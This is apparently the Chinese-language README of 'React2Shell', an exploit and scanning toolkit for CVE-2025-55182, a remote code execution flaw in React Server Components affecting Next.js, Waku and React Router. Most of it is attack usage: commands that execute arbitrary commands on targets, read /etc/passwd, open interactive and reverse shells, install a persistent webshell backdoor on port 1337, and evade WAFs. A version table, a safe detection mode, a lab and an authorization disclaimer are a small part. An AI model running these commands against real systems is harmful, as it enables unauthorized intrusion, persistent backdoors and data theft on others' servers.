CVE-2025-55182 安全测试工具包:命令行扫描器 + Chrome扩展 + Nuclei模板 + Docker实验室。
CVE-2025-55182 扫描器与利用工具包,用于 Next.js/React 服务器组件 RCE。
React2Shell/
├── browser-extension/ # 基于浏览器的检测 Chrome 扩展
│ ├── manifest.json
│ ├── content.js
│ ├── popup.html/js
│ └── background.js
├── cli/ # 命令行扫描器与利用工具
│ ├── react2shell.py
│ └── requirements.txt
├── docs/ # 面向学习的文档
│ ├── README.md # 学习路径索引
│ ├── 01-fundamentals.md
│ ├── 02-vulnerability.md
│ ├── 03-exploitation.md
│ ├── 04-frameworks.md
│ └── 05-defense.md
├── lab/ # 用于测试的 Docker 实验环境
│ ├── vulnerable/ # 存在漏洞的 Next.js 应用 (React 19.2.0)
│ ├── patched/ # 已修补的 Next.js 应用 (React 19.2.1)
│ ├── waf/ # ModSecurity WAF 容器
│ ├── waku-app/ # 存在漏洞的 Waku 应用 (React 19.2.0)
│ ├── react-router-app/ # 存在漏洞的 React Router 应用 (React 19.2.0)
│ └── docker-compose.yml
└── nuclei/ # Nuclei 模板
├── CVE-2025-55182.yaml # RCE 检测(执行代码)
└── CVE-2025-55182-safe.yaml # 安全侧信道检测
cd cli
pip install -r requirements.txt
# 扫描目标
python react2shell.py https://target.com
# 执行命令
python react2shell.py https://target.com -c "id"
# 交互式 shell
python react2shell.py https://target.com -i
chrome://extensions/browser-extension 目录cd lab
docker-compose up -d
# 存在漏洞的目标:
# Next.js 漏洞版: http://localhost:3011 ← 完整 RCE
# Waku 漏洞版: http://localhost:3014 ← RCE(盲打 - 无 HTTP 输出)
# React Router: http://localhost:3015 ← 完整 RCE (ESM)
# 受保护的目标:
# Next.js 已修补: http://localhost:3012 ← 安全
# WAF 保护: http://localhost:3013 ← ModSecurity 阻止利用
nuclei -t nuclei/CVE-2025-55182.yaml -u https://target.com
cli/react2shell.py)--detect) - 自动检测目标框架-E) - 自动发现 RSC 端点-c) - 运行任意命令-i) - 持久命令会话-r) - 多种类型:nc、bash、perl、python、ruby--webshell) - 持久后门安装-f) - 直接读取远程文件-L) - 检查 package.json 中的漏洞版本-w)、Unicode 编码 (-u)、Vercel 特定 (-V)-x) - 通过 Burp Suite 或其他代理路由-s) - 侧信道检测,不执行代码browser-extension/)lab/)/RSC/F/{x}/{y}.txt 路径格式process.getBuiltinModule() 实现完整 RCE# 基础扫描(自动检测框架)
python react2shell.py https://target.com
# 检测框架并枚举端点
python react2shell.py https://target.com --detect
python react2shell.py https://target.com -E -v
# 在不同框架上执行命令
python react2shell.py https://target.com -c "id" # Next.js(自动)
python react2shell.py https://target.com -F waku -c "id" # Waku(盲打 RCE)
python react2shell.py https://target.com -F react-router -c "id" # React Router (ESM)
# 实验室示例(带输出)
python react2shell.py http://localhost:3011 -c "cat /app/secret/flag.txt" # Next.js
python react2shell.py http://localhost:3015 -F react-router -c "id" # React Router
# 使用所有 WAF 绕过执行命令
python react2shell.py https://target.com -c "cat /etc/passwd" -w -u
# 通过代理使用交互式 shell
python react2shell.py https://target.com -i -x http://127.0.0.1:8080
# 安装内存中 webshell(在端口 1337 创建后门)
python react2shell.py https://target.com --webshell mypassword
# 访问: curl 'http://target:1337/?p=mypassword&cmd=id'
# 反向 shell
python react2shell.py https://target.com -r -l 10.0.0.1 -p 4444 -S bash
# 扫描本地项目中的漏洞版本
python react2shell.py -L /path/to/project
# 批量扫描并输出
python react2shell.py targets.txt -t 20 -o results.json -v
执行选项:
-c, --cmd 要执行的命令
-i, --interactive 交互式 shell 会话
-r, --reverse 反向 shell 模式
-l, --lhost 监听主机
-p, --lport 监听端口
-S, --shell-type Shell 类型 (nc, nc-mkfifo, bash, perl, python, ruby)
-f, --read-file 读取远程文件
扫描选项:
-P, --path 要测试的路径(逗号分隔或文件)
-t, --threads 线程数(默认:10)
-T, --timeout 请求超时秒数(默认:10)
-s, --safe 安全模式(不执行代码)
-L, --local 扫描本地项目目录
-F, --framework 目标框架 (auto, nextjs, waku, react-router, expo)
-E, --enumerate 在利用前枚举 RSC 端点
--detect 仅检测框架并列出端点
--webshell 在端口 1337 安装内存中 webshell
--rce RCE 概念验证模式(默认:安全模式)
绕过选项:
-w, --waf-bypass 垃圾数据填充
-W, --waf-size 垃圾数据大小(KB,默认:128)
-u, --unicode Unicode 编码绕过
-V, --vercel-bypass Vercel 特定绕过
--windows Windows PowerShell 有效载荷
请求选项:
-x, --proxy 代理 URL (例如 http://127.0.0.1:8080)
-H, --header 自定义请求头
-A, --user-agent 自定义 User-Agent
-k, --insecure 禁用 SSL 验证
输出选项:
-o, --output 将结果保存为 JSON
-v, --verbose 详细输出,包含版本检测
-q, --quiet 仅显示存在漏洞的目标
--no-color 禁用颜色
--no-banner 隐藏横幅
| 字段 | 值 |
|---|---|
| CVSS | 10.0 (严重) |
| 影响 | 未经认证的远程代码执行 |
| 受影响版本 | 任何使用存在漏洞 React 版本的 RSC 框架 |
| 机制 | 通过 React Flight Protocol 的原型污染 |
| 框架 | 存在漏洞版本 | 已修补版本 |
|---|---|---|
| React | 19.0.0 - 19.2.0 | 19.2.1+ |
| Next.js | 14.0.0 - 15.4.7 | 15.4.8+ |
| Waku | < 0.27.2 | 0.27.2+ |
| React Router | 7.0.0 - 7.5.0 (RSC 预览) | 7.5.1+ |
| Expo | 实验性 RSC | 更新 React |
| @vitejs/plugin-rsc | 所有使用漏洞 React 的版本 | 更新 React |
| @parcel/rsc | 所有使用漏洞 React 的版本 | 更新 React |
| RedwoodJS (rwsdk) | 所有使用漏洞 React 的版本 | 更新 React |
本工具包仅用于授权的安全测试。仅可对您拥有或已获得明确书面授权的系统使用。未经授权访问计算机系统是违法的。
CVE-2025-55182 | CVSS 10.0 | 仅用于授权的安全测试